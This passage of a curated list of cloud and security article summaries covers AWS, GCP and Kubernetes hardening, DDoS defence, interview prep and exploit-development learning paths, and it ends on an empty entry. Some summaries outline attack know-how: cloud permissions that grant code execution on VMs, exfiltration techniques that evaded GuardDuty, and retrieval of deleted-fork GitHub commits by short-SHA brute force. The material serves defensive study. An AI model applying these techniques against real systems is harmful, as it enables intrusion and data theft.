    • Offense: Malware and reversing, exploits, ATT&CK-style attack stages.
    • Coding: Data structures, Big O, Python and security coding exercises such as log parsing and port scanners.
    • Study method: Track terms as To learn/Revising/Done, guess before looking up, spaced repetition, mock interviews and talking through reasoning.

    Takeaway: A solid checklist for any security engineering interview loop. Use it to find gaps, then go deep on the areas the target team cares about.

  • k8s-sniff-https: mitmproxy Blueprint to Intercept HTTPS Traffic from Apps on Kubernetes
    summary

    TL;DR: k8s-sniff-https by Ofir Cohen is a minimal blueprint for running mitmproxy (mitmweb) in a cluster to inspect HTTPS calls that a workload makes to external APIs.

    • Components: A one-replica mitmweb Deployment and Service from deploy/; proxy on 8080, web UI on 8081.
    • CA trust: Copy mitmproxy-ca-cert.pem from /root/.mitmproxy/ in the pod with kubectl cp and give it to the client.
    • Test: An ephemeral curlimages/curl pod sends requests with curl --cacert ... -x mitmweb:8080.
    • UI: kubectl port-forward svc/mitmweb 8081:8081 shows flows, headers and bodies.
    • Limits: Only clients configured to use the proxy and trust the CA are captured; the README does not cover configuring arbitrary apps. Debug tool, not production.

    Takeaway: Quick way to see what a pod actually sends to SaaS APIs during debugging. Remove it afterwards, since it captures decrypted traffic.

  • Moving AWS Accounts and OUs Within an Organization: Not So Simple!
    summary

    TL;DR: Matthew Fuller (wut.dev) explains why moving an AWS account or OU within an Organization is a risky one-call change with no dry run, and what can break.

    • SCPs: Old parent policies stop and new ones apply instantly, e.g. a Production SCP denying s3:GetObject causing AccessDenied.
    • OU path conditions: Policies using aws:PrincipalOrgPaths, aws:ResourceOrgPaths or aws:SourceOrgPaths change behavior; include the org ID in paths because OU IDs are only unique within an org.
    • StackSets: OU-targeted auto-deployment can deploy stacks on arrival; with retention off, stacks (including IAM roles) are deleted on exit.
    • RAM and Control Tower: OU-targeted RAM shares gain or lose access; moving under an enrolled OU can trigger Control Tower enrollment and controls.
    • Reverting: Moving back restores most policy effects, but recreated IAM roles get new AROA IDs that some trusts (e.g. KMS) reference.
    • Checklist: Diff SCPs, list affected StackSets, grep policies for the OrgPaths keys, review RAM shares, check Control Tower; monitor CloudTrail for SCP explicit denies afterwards.

    Takeaway: Treat move-account (and Terraform parent_id changes) as a production change with a pre-flight checklist. Prefer account IDs or full org paths in policies.

  • Top Four Ways to Improve Your Security Hub Security Score
    summary

    TL;DR: An AWS Security Blog post (Priyank Ghedia, Megan O’Neil, July 2024) on four ways to raise the Security Hub security score, which is passed controls divided by enabled controls.

    • Remediate: Fix the failing resource; on recheck the finding becomes PASSED and RESOLVED.
    • Suppress: SUPPRESSED findings are ignored in control status; use automation rules so future matching findings are suppressed too.
    • Disable: Turn off controls that do not apply; central configuration lets a delegated admin manage controls per OU.
    • Customize parameters: Some controls accept custom values that define a pass.
    • AutoScaling.3: Requires IMDSv2 in launch configurations; migrate to launch templates since launch configurations cannot be used for EC2 instance types released after Dec 31, 2022.
    • EC2.18: Flags security groups open to unrestricted TCP/UDP except 80/443; adjust allowed ports via parameters and remove unused groups with Firewall Manager usage audit policies.
    • Source caveat: The fetched text was truncated after two of the five controls discussed.

    Takeaway: Use central configuration and automation rules so the score reflects real risk rather than irrelevant controls, then fix the common Critical/High failures.

  • IAM So Lost: A Guide to Identity in Google Cloud
    summary

    TL;DR: A beginner primer from Google (Sita Lakshmi Sangameswaran, Michele Chubirka, July 2024) on Google Cloud IAM concepts, arguing for persona-based, group-driven access.

    • Concepts: Principals (users, service accounts, groups, Workspace and Cloud Identity accounts), roles, policies, least privilege and separation of duties.
    • Personas: Map job functions such as “platform engineer” to groups, then grant roles to groups, not individuals.
    • Example: A software engineer joins web-app-developer and gets the Cloud Run Developer role.
    • Avoid: Broad basic roles like Editor for everyone.
    • Tooling: IAM policy intelligence tools to migrate toward a group-based model; Architecture Framework security pillar for more.
    • Not covered: Workforce and Workload Identity Federation; no code or config samples.

    Takeaway: Introductory but sound. Build GCP access from org-chart personas and groups so onboarding and audits stay simple.

  • exo: Run Your Own AI Cluster at Home with Everyday Devices
    summary

    TL;DR: exo from exo labs is an Apache-2.0 project that pools everyday devices into one local AI cluster to run models too large for a single machine.

    • Discovery: Nodes find each other automatically on the LAN; EXO_ZENOH_NAMESPACE isolates clusters.
    • Partitioning: Splits models based on each device’s resources and link latency/bandwidth; tensor parallelism claimed at up to 1.8x on 2 devices and 3.2x on 4.
    • RDMA: Over Thunderbolt 5 on macOS 26.2+, claimed 99% lower inter-device latency; requires full mesh cabling and rdma_ctl enable from Recovery.
    • Backend: MLX and MLX distributed; models such as Qwen3-235B, DeepSeek v3.1 671B, Kimi K2 and HuggingFace custom models.
    • API: OpenAI Chat Completions, OpenAI Responses, Claude Messages and Ollama-compatible endpoints at localhost:52415.
    • Limits: Linux runs on CPU only (GPU in development); trust_remote_code models are disabled by default. README content reflects the current version, not the 2024 one.

    Takeaway: Interesting if you have several Apple Silicon machines and want to run large open models locally. On Linux, expect CPU-only performance for now.

  • Securing the Container World with Policies: acjs and ctrdac
    summary

    (Could not fetch full text.)

    TL;DR: A Google Bug Hunters blog post introducing two Google open-source projects, acjs and ctrdac, that bring Kubernetes-style admission control (image signatures, provenance, policy) to containers, including ones running outside Kubernetes.

    • acjs: A Kubernetes admission controller where policies are JavaScript snippets; return true to accept, false or a string to reject, nothing to fall through to defaultAction (reject by default).
    • Policy context: Globals such as req, object and ac.User; built-ins cosignVerify, slsaVerify, slsaEnsureComingFrom and forwardToAdmissionController.
    • Modes: Validating or mutating webhook (mutations become a JSON Patch), served over a Unix socket or mTLS.
    • ctrdac: A lightweight proxy in front of containerd that wraps container-create requests as Kubernetes AdmissionReview and sends them to a webhook such as acjs, so Docker/containerd hosts get admission control.
    • Example policy: Rewriting deprecated gitRepo volumes into an init container to avoid a kubelet privilege escalation risk.
    • Status: Both are “not an officially supported Google product”; the acjs repo is now archived.
    • Source caveat: The blog page is JavaScript-rendered and could not be read; this is based on the google/acjs README and ctrdac package docs.

    Takeaway: Interesting design for enforcing image signing on non-Kubernetes container hosts. Since acjs is archived, treat it as a reference implementation rather than something to deploy.

  • Incidental: Open-Source Incident Management Platform Integrated with Slack
    summary

    TL;DR: Incidental is an MIT-licensed, early-stage open-source incident management platform that lets teams declare and run incidents from Slack, with a hosted version at incidental.dev.

    • ChatOps: Declare and manage incidents inside Slack; a web UI also exists.
    • Customization: Custom severities, fields, incident types and roles.
    • Status pages: Public, customizable status pages for stakeholders.
    • Planned: Custom workflow automation is marked “Coming Soon”.
    • Stack: Python backend, React frontend, separate status-page app; dev needs Docker, docker-compose, pnpm and Node 18, started with make run-dev.
    • Setup: Create a Slack app from slack-manifest.yml and set Slack variables in backend/.env.
    • Limits: README covers local development only, no production deployment guide.

    Takeaway: A starting point for a self-hosted incident.io-style workflow. Expect to do your own hardening and deployment work.

  • Attack Paths into VMs in the Cloud
    summary

    TL;DR: Unit 42 (Jay Chen, June 2024) maps how an attacker with cloud API permissions but no VM credentials can log in to or run code on VMs in AWS, Azure and GCP, all through legitimate features.

    • Startup scripts: Modify EC2 user data (ec2:ModifyInstanceAttribute plus stop/start), Azure VMSS custom data, or GCP startup-script metadata (compute.instances.setMetadata).
    • SSH key push: EC2 Instance Connect (ec2-instance-connect:SendSSHPublicKey), Azure VMAccess extension, GCP metadata SSH keys or OS Login roles.
    • Command execution: SSM Run Command (ssm:SendCommand), Azure Run Command and Custom Script Extension, GCP VM Manager patch jobs (osconfig.patchJobs.exec) and OS policies.
    • Shell via middleware: SSM Session Manager (ssm:StartSession); not feasible on Azure/GCP per the article.
    • Serial console: Bypasses network controls but still needs a password or key; AWS needs account-level enablement, Azure is on by default, GCP uses serial-port-enable.
    • Exposure: 11% of internet-exposed cloud hosts had Critical or High vulnerabilities.
    • Mitigation: Restrict the listed permissions, remove unused agents, disable serial console, block metadata SSH keys in GCP, restrict SSM documents and Azure extension types.

    Takeaway: Treat VM-modifying and command-execution permissions as equivalent to shell access, and alert on their use. A compromised VM also hands over its attached identity.

  • Getting Started with Exploit Development
    summary

    TL;DR: dayzerosec’s 2024 roadmap for learning binary exploitation, built almost entirely on free resources.

    • Prerequisites: C (for the memory model), x86-64 assembly and calling conventions, Python with pwntools, Linux; Pwn College Fundamentals covers most of it.
    • Step 1: Pwn College CSE 466 (Fall 2023) through “Program Exploitation”, including shellcoding and sandboxing.
    • Step 2: ROP Emporium, 64-bit x86 first, ARM later.
    • Step 3: Open Security Training Vulnerabilities 1001 for heap, OOB and integer bug theory.
    • Step 4: Pwn College race conditions plus CSE 598 modules: format strings, FILE struct, dynamic allocator misuse, exploitation primitives, Windows crash course.
    • Concepts: Weird machines via LiveOverflow videos and Thomas Dullien’s 2015 paper and 2018 talk.
    • Next: Nightmare, how2heap, Malloc Maleficarum, HeapLAB (paid); Ret2 Fundamentals if you want paid training.

    Takeaway: A clear, ordered path for anyone starting pwn. Follow interest over strict order and expect frustration as part of the process.

  • Thwacking DDoS with AWS WAF
    summary

    TL;DR: Rami McCarthy’s practical guide to mitigating Layer 7 DDoS with AWS WAF, built from public incident write-ups and pricing realities.

    • Match rules first: Look for low-cardinality attack traits: JA3 TLS fingerprints (most powerful), geography, header order, User-Agent, missing or static cookies, ASNs.
    • Managed rules: Only AWSManagedIPDDoSList judged useful; Bot Control and IP reputation lists were too imprecise or costly.
    • Rate limits second: Per-IP, global limits on unauthenticated traffic, per-route; minimum 1-minute window, up to minutes of lag, 10 rate rules per ACL, 10,000 IPs tracked per rule.
    • Actions: Start in Count, Block only high-signal rules; Challenge is billed per challenge served.
    • Costs: Booters about $30/month, botnets about $300/month; Shield Advanced $3,000/month with a one-year commitment, rarely worth it except for high-risk low-traffic endpoints.
    • Cases: Blender peaked at 100,000 RPS, Railway about 250,000 RPS, Basecamp 80,000 RPS.
    • Gotchas: Lock origins to CloudFront, WAF inspects only the first 64 KB of bodies, logs may contain auth material.

    Takeaway: Prepare before an attack: dashboards of top JA3/UA/IP, Count-mode rules ready to flip, and origins that cannot be hit directly. Expect 30-60 seconds of impact at onset.

  • Poor Man’s MFA for AWS Client VPN
    summary

    TL;DR: Ian Mckay shows how to add a cheap second factor to certificate-based AWS Client VPN: a client connect handler Lambda asks the user on Slack to approve with a thumbs-up.

    • Flow: After mutual TLS succeeds, the Lambda DMs the user with the source IP and platform and polls reactions.get every two seconds for +1.
    • Identity mapping: The user’s Slack member ID is embedded in the client certificate CN, e.g. <name>-<slackmemberid>.<domain>, issued with Easy-RSA.
    • Slack app: Scopes chat:write and reactions:read; the xoxb- bot token sits in Secrets Manager.
    • Constraints: Lambda name must start with AWSClientVPN-; the handler has a 30-second limit, so users must approve within it.
    • Code gaps: No explicit deny path; the 30-second timeout ends unapproved attempts.

    Takeaway: A workable stopgap when you cannot federate Client VPN with SAML. Treat it as push-approval MFA and watch for approval fatigue.

  • Using S3 as a Container Registry
    summary

    TL;DR: Adolfo Ochagavía shows that a plain S3-compatible bucket can serve docker pull, and that pushing layers to S3 was much faster than to ECR.

    • Pull path: Docker only issues HTTP HEAD/GET on /v2/<image>/manifests/<tag>, the manifest digest and /v2/<image>/blobs/<digest>; any static server with correct Content-Type works.
    • Push: No docker push; files are uploaded to the expected paths with the S3 SDK. The demo used Cloudflare R2 for free egress.
    • Numbers: A 198 MiB layer uploaded at 24-28 MiB/s to ECR vs 115-190 MiB/s to S3, up to about 8x faster.
    • Why: S3 multipart uploads run in parallel; the OCI Distribution Spec forces sequential layer pushes. Sequential S3 uploads dropped to ECR speed.
    • Limits: Experimental; no validation of pushed images, no scanning, no native per-repo access control; benchmarks ran inside AWS over a VPC.

    Takeaway: A neat hack for read-only or public image distribution and a hint at where registry push speed is lost. Not a replacement for a real registry’s controls.

  • govulncheck: Report Known Vulnerabilities That Affect Go Code
    summary

    TL;DR: govulncheck is the Go team’s official tool that reports known vulnerabilities your Go code can actually reach, using the Go vulnerability database.

    • Reachability: Static analysis of source (or a binary’s symbols) to find calls into vulnerable functions, not just vulnerable modules.
    • Database: Queries vuln.go.dev, sending only module paths; -db points to an alternate DB.
    • Modes: govulncheck ./... (source), -mode binary <path>, -mode extract for a smaller blob.
    • Flags: -tags, -test, -show traces, -show verbose.
    • Output: Text, -json, -format sarif, -format openvex; non-zero exit on findings in text mode, 0 for JSON/SARIF/OpenVEX.
    • Limits: Conservative for interface and function-pointer calls, blind to reflect, binaries give no call graphs, findings cannot be silenced yet, pre-Go 1.18 binaries get stdlib findings only.

    Takeaway: Add govulncheck ./... to Go CI. Its reachability filter cuts the noise that generic SCA tools produce.

  • Secure Guardrails with Semgrep: Free Semgrep Academy Course
    summary

    TL;DR: “Secure Guardrails with Semgrep” is a free Semgrep Academy course on moving AppSec from reactive SAST findings to proactive guardrails that keep developers on secure paths.

    • Size: 45 lessons in 13 sections, about 3.5 hours of video.
    • Concepts: Secure defaults, shift-left and paved roads, and how guardrails differ from reactive SAST.
    • Rule writing: Banned functions, API call order, blocklisting weak ciphers, metavariable operators, an entropy-based secrets analyzer.
    • Autofix: Building remediation into the developer workflow.
    • Taint mode: Dataflow rules for path traversal, command injection and SQL injection.
    • Adoption: Rollout strategy with a Netflix case study.

    Takeaway: Good hands-on route to writing custom Semgrep rules that enforce your own secure patterns, not just generic vulnerability checks.

  • Enabling Security Guardrails: Infrastructure as Code with CDK for Terraform
    summary

    TL;DR: Zip security engineers Ashish Patel and Victor Chen (July 2024) describe moving AWS from click-ops to Python CDK for Terraform with secure-by-default wrapper classes and an SCP that blocks console changes.

    • Problem: Many engineers held AWS admin, peer review was hard to enforce and change visibility was poor.
    • Structure: One stack per environment, a shared secure_templates folder, a dedicated IAM role per stack via GitHub Actions OIDC on separate runners.
    • Secure defaults: Wrapper classes such as DatabaseInstance over DbInstance default to encrypted, non-public storage; public DBs require an allowlist or raise a security exception.
    • Review: CODEOWNERS makes security a required reviewer for secure_templates and production main.py.
    • Anti-click-ops: Resources get a terraform-managed tag; an SCP denies non-read actions on tagged resources except on-call, SSO admin and the Terraform runner role.
    • Results: 100% of IAM, S3, RDS and security group changes code-reviewed; AWS admin count down 95%.

    Takeaway: The pattern to copy is wrapper constructs plus a tag-based SCP; review alone does not stop console drift, the SCP does.

  • Building a Security Platform Engineering Team
    summary

    TL;DR: Kane Narraway (who led a security platform team at Shopify) on what a security platform engineering team is, when to form one and how to staff it.

    • Definition: A team that builds software making security the default, following the “secure paved roads” idea; buy commodity problems like staff SSO.
    • Focus areas: Internal access (IAM, PAM, zero trust), developer tooling (encryption, secrets, auth services), customer support tooling and scaling vuln management and reviews.
    • When: Build only if needs are unique and the team can afford long-term work; rough trigger is a security org near 30 people with at least 3 headcount (1 EM, 2 engineers).
    • Staffing: EM, frontend and backend engineers, PMs; often ex-security engineers; use the company’s existing languages.
    • Anti-pattern: Part-time builders or a single engineer risk burnout, no redundancy and hard handovers.
    • Retire tools: Shopify’s custom zero trust system was eventually overtaken by vendors; treat that as success.

    Takeaway: A clear decision framework for build vs buy in security. Ship guardrails people want to use, “the carrot, not the stick”.

  • IAM So Lost: A Guide to Identity in Google Cloud
    summary

    TL;DR: A beginner primer from Google (Sita Lakshmi Sangameswaran, Michele Chubirka, July 2024) on Google Cloud IAM concepts, arguing for persona-based, group-driven access.

    • Concepts: Principals (users, service accounts, groups, Workspace and Cloud Identity accounts), roles, policies, least privilege and separation of duties.
    • Personas: Map job functions such as “platform engineer” to groups, then grant roles to groups, not individuals.
    • Example: A software engineer joins web-app-developer and gets the Cloud Run Developer role.
    • Avoid: Broad basic roles like Editor for everyone.
    • Tooling: IAM policy intelligence tools to migrate toward a group-based model; Architecture Framework security pillar for more.
    • Not covered: Workforce and Workload Identity Federation; no code or config samples.

    Takeaway: Introductory but sound. Build GCP access from org-chart personas and groups so onboarding and audits stay simple.

  • Moving AWS Accounts and OUs Within an Organization: Not So Simple!
    summary

    TL;DR: Matthew Fuller (wut.dev) explains why moving an AWS account or OU within an Organization is a risky one-call change with no dry run, and what can break.

    • SCPs: Old parent policies stop and new ones apply instantly, e.g. a Production SCP denying s3:GetObject causing AccessDenied.
    • OU path conditions: Policies using aws:PrincipalOrgPaths, aws:ResourceOrgPaths or aws:SourceOrgPaths change behavior; include the org ID in paths because OU IDs are only unique within an org.
    • StackSets: OU-targeted auto-deployment can deploy stacks on arrival; with retention off, stacks (including IAM roles) are deleted on exit.
    • RAM and Control Tower: OU-targeted RAM shares gain or lose access; moving under an enrolled OU can trigger Control Tower enrollment and controls.
    • Reverting: Moving back restores most policy effects, but recreated IAM roles get new AROA IDs that some trusts (e.g. KMS) reference.
    • Checklist: Diff SCPs, list affected StackSets, grep policies for the OrgPaths keys, review RAM shares, check Control Tower; monitor CloudTrail for SCP explicit denies afterwards.

    Takeaway: Treat move-account (and Terraform parent_id changes) as a production change with a pre-flight checklist. Prefer account IDs or full org paths in policies.

  • A Hard Look at GuardDuty Shortcomings
    summary

    TL;DR: Rami McCarthy at Tracebit (a canary vendor) tests and critiques Amazon GuardDuty on coverage, cost, efficacy and detection latency.

    • Coverage: Supports about ten AWS services out of nearly 250, with 176 finding types; new protections are paid add-ons with slow regional rollout.
    • Cost: Usage-based and hard to forecast; examples include S3 Protection rising from about $2.5k to $6.5k/month and EKS Protection costing more than the cluster.
    • Bypass: Stratus Red Team exfiltration techniques (bulk Secrets Manager reads, SSM parameter decryption, sharing EBS/RDS snapshots, S3 batch deletion) raised zero alerts.
    • Tester results: With amazon-guardduty-tester, 11 of 12 findings ran and 8 fired; median detection 15 minutes, fastest 5m08s.
    • Ransomware math: At measured throughput, an attacker could exfiltrate roughly 100 GB to 1.3 TB of S3 data before the fastest alert.
    • Caveats: Small informal test, three findings failed for unknown reasons, and the author’s employer sells a competing approach.

    Takeaway: Keep GuardDuty as a compliance baseline, but do not assume it covers exfiltration of secrets or snapshots. Run your own adversary simulations and add detections for the gaps.

  • Red Team Interview Questions
    summary

    TL;DR: A HADESS (HadessCS) GitHub repo of red team interview questions, organized by topic with a table of contents of about 60 sections, focused heavily on Windows and Active Directory tradecraft.

    • Structure: A single README; the readable part held about 200 questions across 41 sections, roughly five or six per section.
    • Access and AD: Initial Access, Windows Network, Active Directory, Kerberoasting and Kerberos, NTLM, LDAP, RDP.
    • Credentials: Mimikatz, SAM file, Shadow file, LSA, LSASS, WDIGEST, CredSSP, MSV, breaking hashes.
    • Internals: Windows internals, Windows API vs DLL, NTDLL, Native API, Windows drivers, system and kernel programming.
    • Ops: Privilege escalation, post-exploitation and lateral movement, persistence, C2, tunneling, evasion, EDR vs antivirus, malware development, YARA.
    • Sample: “When would a developer choose the Native API over the Win32 API?”

    Takeaway: Useful as a self-quiz before red team or offensive interviews. It lists questions, so you still need to research the answers.

  • Anyone Can Access Deleted and Private Repository Data on GitHub
    summary

    TL;DR: Joe Leon at Truffle Security (July 2024) shows that commits from deleted forks, deleted repositories and pre-public private forks stay reachable on GitHub, naming it Cross Fork Object Reference (CFOR).

    • Deleted fork: Commits remain reachable through the upstream repo by hash; the author found about 40 valid API keys in deleted forks of three popular repos from a large AI company.
    • Deleted repo: When the upstream is deleted, a fork becomes the network root and post-fork commits remain accessible.
    • Private to public: Commits in a private fork made before the upstream was open-sourced can be viewed via the public repo.
    • Access: github.com/<owner>/<repo>/commit/<hash> works for unreferenced commits; short SHAs (min 4 hex chars, 65,536 options) can be brute forced; hashes also leak via the events API and GH Archive.
    • GitHub response: Working as designed and documented.
    • Fix: Rotate any secret ever pushed; deletion is not remediation. Scan whole repository networks.

    Takeaway: Assume anything pushed to a repo network with a public member is public forever. Rotate keys on exposure and scan forks, not just your own history.

  • terraform-pr-commenter: GitHub Action That Comments Terraform fmt/init/plan Output on PRs
    summary

    TL;DR: terraform-pr-commenter by Rob Burger is a Docker-based GitHub Action that posts Terraform fmt, init, plan and validate output as PR comments, deleting its older comments to keep the thread clean.

    • Inputs: commenter_type (fmt/init/plan/validate), commenter_input (stdout+stderr), commenter_exitcode.
    • Dependency: Needs hashicorp/setup-terraform with its wrapper enabled to capture output and exit codes.
    • Env vars: GITHUB_TOKEN (required), TF_WORKSPACE for matrix runs, EXPAND_SUMMARY_DETAILS, HIGHLIGHT_CHANGES (turns ~ into ! in diffs).
    • Usage: uses: robburger/terraform-pr-commenter@v1 in a step with if: always() after the Terraform step.
    • Limits: Linux runners only; examples pin old versions (actions/checkout@v2, Terraform 0.15.0) and the repo shows 19 open issues, so maintenance is unclear.

    Takeaway: Quick way to surface plans in PR review. Check maintenance status and pin by commit SHA, or consider maintained forks.

  • An Opinionated Ramp-Up Guide to AWS Pentesting
    summary

    TL;DR: Lizzie Moratti’s staged roadmap (AWS Security Digest, July 2024) for experienced pentesters moving into AWS customer-side pentesting.

    • Stage 1: Keep a glossary, solve pwnedlabs.io labs with official and pro write-ups (e.g. Tyler Ramsbey), and proxy tools through Burp to see raw AWS API calls.
    • Stage 2: Read hackingthe.cloud, AWS in Plain English, og-aws, Cloudonaut; redo labs without walkthroughs; do the Wiz Big IAM Challenge.
    • Stage 3: Solve labs with only the CLI/console, then write your own boto3 scripts and get them reviewed.
    • Hygiene: Vet all code in a test account and run aws sts get-caller-identity before state-changing calls.
    • Stages 4-7: Rich Mogull’s SLAW labs, Cloud Resume Challenge, Scott Piper’s maturity roadmap, SCP best practices, her AWS pentest methodology, then ongoing community learning.
    • Hot takes: Breadth before depth, skip paid AWS pentest certs for now, do not learn three clouds at once, beware scan-and-rebrand vendors.

    Takeaway: A concrete, mostly free curriculum. The proxy-the-tools and write-your-own-boto3 steps are what build real understanding.

  • Automate Monitoring for Your Amazon EKS Cluster Using CloudWatch Container Insights
    summary

    TL;DR: An AWS blog post (Manish Garg, Navdeep Pareek, Sushant Jagdale, July 2024) with an event-driven solution that keeps CloudWatch Container Insights alarms in sync as EKS worker nodes scale.

    • Static alarms: Cluster- and pod-level alarms created once with Terraform (v1.7.5) from terraform.tfvars, notifying via SNS email.
    • Dynamic alarms: EventBridge catches EC2 Auto Scaling events and a Lambda creates or deletes per-node alarms defined in alarm_list_inputs.json in S3.
    • Collection: The CloudWatch Observability EKS add-on runs the CloudWatch agent as a DaemonSet.
    • Infra: CloudFormation deploys the VPC, EKS cluster and add-on via ./scripts/deploy.sh -o apply in us-east-1.
    • Testing: Change NUM_WORKER_NODES and reapply to see alarms created and removed.
    • Cleanup: ./scripts/deploy.sh -o destroy, then manually delete leftover dynamic alarms.

    Takeaway: Reasonable pattern if you rely on per-node CloudWatch alarms in autoscaling clusters; aggregated metrics or Prometheus-style alerting may avoid the alarm churn altogether.

  • Kubernetes Security Fundamentals: Introduction
    summary

    (Could not fetch full text.)

    TL;DR: The introduction video of Datadog’s “Kubernetes Security Fundamentals” series, published on Datadog’s YouTube channel, matching the Datadog Security Labs blog series by Rory McCune.

    • Premise: Kubernetes leaves much of security to third-party software: runtime security, vulnerability management, log analysis and user authentication.
    • Delegation: Networking, storage and runtimes come from CNI, CSI and CRI projects, so cluster security includes all of that software.
    • Managed vs unmanaged: Managed services run the control plane for you; unmanaged distributions need more hardening but allow more customization.
    • Series topics: Component API security, authentication, authorization, admission control, network security, PKI, secrets, image security, runtime security, monitoring and auditing, across vanilla Kubernetes, EKS, AKS and GKE.
    • Source caveat: No transcript was available; the channel comes from YouTube oEmbed metadata and the content is inferred from the matching Datadog Security Labs introduction article. It is not confirmed that the video presenter is Rory McCune.

    Takeaway: A good structured entry point to Kubernetes security. Pair the videos with the written Datadog Security Labs articles, which include the details.

  • Kubernetes Security Fundamentals: Authorization
    summary

    TL;DR: Part 4 of Rory McCune’s Datadog Security Labs series (July 2024) explains how Kubernetes authorization works across its modules and where the risky gaps are.

    • Evaluation: Modules run in flag order and return allow, deny or no opinion; all no-opinion means deny. No central store, so auditing means checking every module.
    • Bypass: system:masters skips all authorization, including webhooks; reserve it for break-glass.
    • Modes: AlwaysAllow (microk8s default), Node authorizer with NodeRestriction, ABAC (file-based, not on EKS/GKE/AKS), RBAC, and webhook.
    • RBAC: Role/ClusterRole with RoleBinding/ClusterRoleBinding; ClusterRole + RoleBinding scopes reuse to a namespace. Verbs are free strings, so custom ones like impersonate escape tools such as kubectl auth can-i.
    • Non-resource URLs: system:public-info-viewer exposes /healthz, /livez, /readyz, /version unauthenticated.
    • Kubelet: Uses webhook authz via SubjectAccessReview; nodes/proxy allows exec in containers, and direct kubelet access bypasses audit logging and admission control.

    Takeaway: Audit for system:masters members, impersonate, wildcards and nodes/proxy grants. These are the RBAC rights that quietly equal cluster admin.

  • Why You Should Disable Unauthenticated Read-Only Ports on GKE Kubelet Servers
    summary

    TL;DR: Orca Security (Yonatan Broder, August 2024) explains why the deprecated, unauthenticated kubelet read-only port 10255 on GKE nodes should be disabled, and how to find and close it.

    • Exposure: Port 10255 is plain HTTP with no authentication and exposes node and pod status and metrics. Google binds it to localhost, but local processes and pods with hostNetwork: true can still reach it.
    • Risk: An attacker with local node access can use the data for reconnaissance or privilege escalation. The author rates exploitation as difficult and the reward as low.
    • Numbers: 87% of organizations running GKE that Orca scanned had at least one open 10255 port.
    • Vendor timeline: Google emailed GKE customers on July 26. New clusters on GKE 1.32+ have the port disabled by default; existing clusters are not changed. Future versions will remove the option to re-enable it.
    • Mitigation: Inventory open 10255 ports, move consumers to the authenticated secure port 10250, disable 10255 per Google’s guide, then add a custom organization policy blocking it on new and existing clusters.
    • Coverage: Orca alerts on enabled kubelet read-only ports on GKE, EKS and AKS.

    Takeaway: Low severity but cheap to fix. Migrate any metrics scrapers off 10255, disable it everywhere, and enforce that with an org policy rather than waiting for the forced phase-out.

  • Announcing Karpenter 1.0
    summary

    TL;DR: AWS announced Karpenter v1.0.0 on August 14, 2024: the node autoscaler’s APIs graduate from beta to stable, with a promise of no breaking changes across 1.0 minor versions.

    • Maturity: APIs moved alpha to beta in October 2023 and now beta to stable. All APIs stay available through future 1.0 minors.
    • Platform: Works on Amazon EKS or any conformant Kubernetes cluster.
    • Disruption budgets by reason: Budgets can be scoped to specific disruption reasons such as underutilization, emptiness and drift.
    • Forceful disruption mode: Lets operators favour urgent node replacement (for example for security) over application availability.
    • consolidateAfter: Expanded to give finer control over when consolidation happens, trading cost against availability.
    • Not covered here: The announcement gives no v1 resource names, YAML or migration steps; those are in the Karpenter launch blog and karpenter.sh docs.

    Takeaway: 1.0 is the point where Karpenter APIs are safe to standardize on. Read the upgrade guide before moving from v0.x, and use reason-scoped budgets to stop drift or consolidation from churning critical nodes.

  • Understanding AWS Networking: A Guide for Network Engineers
    summary

    TL;DR: Robert de Meyer, a former network engineer, maps AWS VPC networking onto familiar constructs (routers, VRFs, NAT, route reflectors) for traditional network engineers. Published August 13, 2024.

    • VPC model: A VPC is regional; subnets live in one AZ. The author models the VPC as a router and each subnet as an L3 VRF with its own route table; the VPC CIDR is always present in every subnet. There is no real L2 or broadcast.
    • Addressing: Each subnet reserves the first address (gateway), second (DNS resolver), third (future) and last (broadcast, which AWS does not support). Overlapping CIDRs across VPCs are allowed, so plan before interconnecting.
    • Traffic control: NACLs are stateless and per subnet; Security Groups are stateful, bound to ENIs, can reference other SGs, and several can attach to one ENI. Source/destination check must be disabled for routing or firewall appliances.
    • Edge and services: Internet Gateway, NAT Gateway, Elastic IPs (1:1 NAT on the IGW); NLB (L4), ALB (L7), GWLB (L3). Gateway endpoints (S3, DynamoDB) use prefix lists; interface endpoints create per-AZ ENIs and rely on Route 53 private hosted zones.
    • Transit Gateway: A regional hub likened to a route reflector, with association and propagation per route table for segmentation, BGP with partly fixed attributes, and route quotas that can drop a BGP session. Connect attachments (GRE) reach 5 Gbps versus 1.25 Gbps for VPN.
    • Under the hood: The author’s reading of re:Invent material covers the mapping service, HyperPlane nodes (NAT Gateway, NLB, EFS) and Blackfoot edge devices.

    Takeaway: A good translation layer for anyone coming from on-prem networking. The practical lessons are non-overlapping CIDR planning, DNS for interface endpoints, and watching TGW route-table and BGP quotas.

  • Using AI for Offensive Security
    summary

    TL;DR: A Cloud Security Alliance paper (AI Technology and Risk Working Group, released August 6, 2024) on how LLM-powered AI and agents fit into vulnerability assessment, penetration testing and red teaming.

    • Scope: Offensive security use cases for LLMs and AI agents: vulnerability assessment, pentesting and red teaming.
    • Phases: Frames AI assistance across five phases: reconnaissance, scanning, vulnerability analysis, exploitation and reporting.
    • Other topics: Overview of LLMs and agents, how threat actors use AI, expected near-term advances, and governance, risk and compliance considerations.
    • Limits: The paper discusses current limitations of AI in offensive security; the landing page lists this but gives no detail.
    • Format: A downloadable CSA artifact; the landing page names no individual authors and gives no page count.

    Takeaway: Useful as a structured map of where AI can speed up an offensive engagement and the governance questions it raises. Read the full PDF for specifics; the landing page is only an outline.

  • Kubernetes Testing Environment: An Open-Source Resilience Platform for EKS, GKE and AKS
    summary

    TL;DR: KTE (Kubernetes Testing Environment) is an Apache 2.0 open-source project from Orca Security’s Research Pod that stands up EKS, GKE or AKS clusters and runs open-source Kubernetes security tools against them, as a free, vendor-agnostic KSPM-style setup.

    • Repo: github.com/orcasecurity-research/kte.
    • Clouds: AWS EKS, Google GKE and Azure AKS, each with its own Terraform project under deployment/clusters that creates the cluster and deploys a generic Helm chart.
    • Tools: kubesec, kube-score, Polaris, kor, Trivy Operator and Checkov. Dynamic tools run in the cluster; static tools (kubesec, kube-score) scan the Helm chart YAML and write HTML reports.
    • CLI: kte.sh with apply, state, destroy and tunnel; config.yaml selects tools per cloud. Results link from dashboards/index.html.
    • Access: Dashboards are ClusterIP-only; you reach them through the included SSH tunnel Terraform projects and a browser dynamic proxy.
    • Limits: The default Helm chart is generic, so swap in your own to test realistically. Dashboard experience varies by tool. No cost, version support or maintenance scope is stated.

    Takeaway: Handy for comparing free Kubernetes posture scanners side by side or rehearsing attack scenarios in a throwaway cluster. Replace the sample chart with your real workloads and tear the clusters down to control cost.

  • GitHub Actions Attack Diagram
    summary

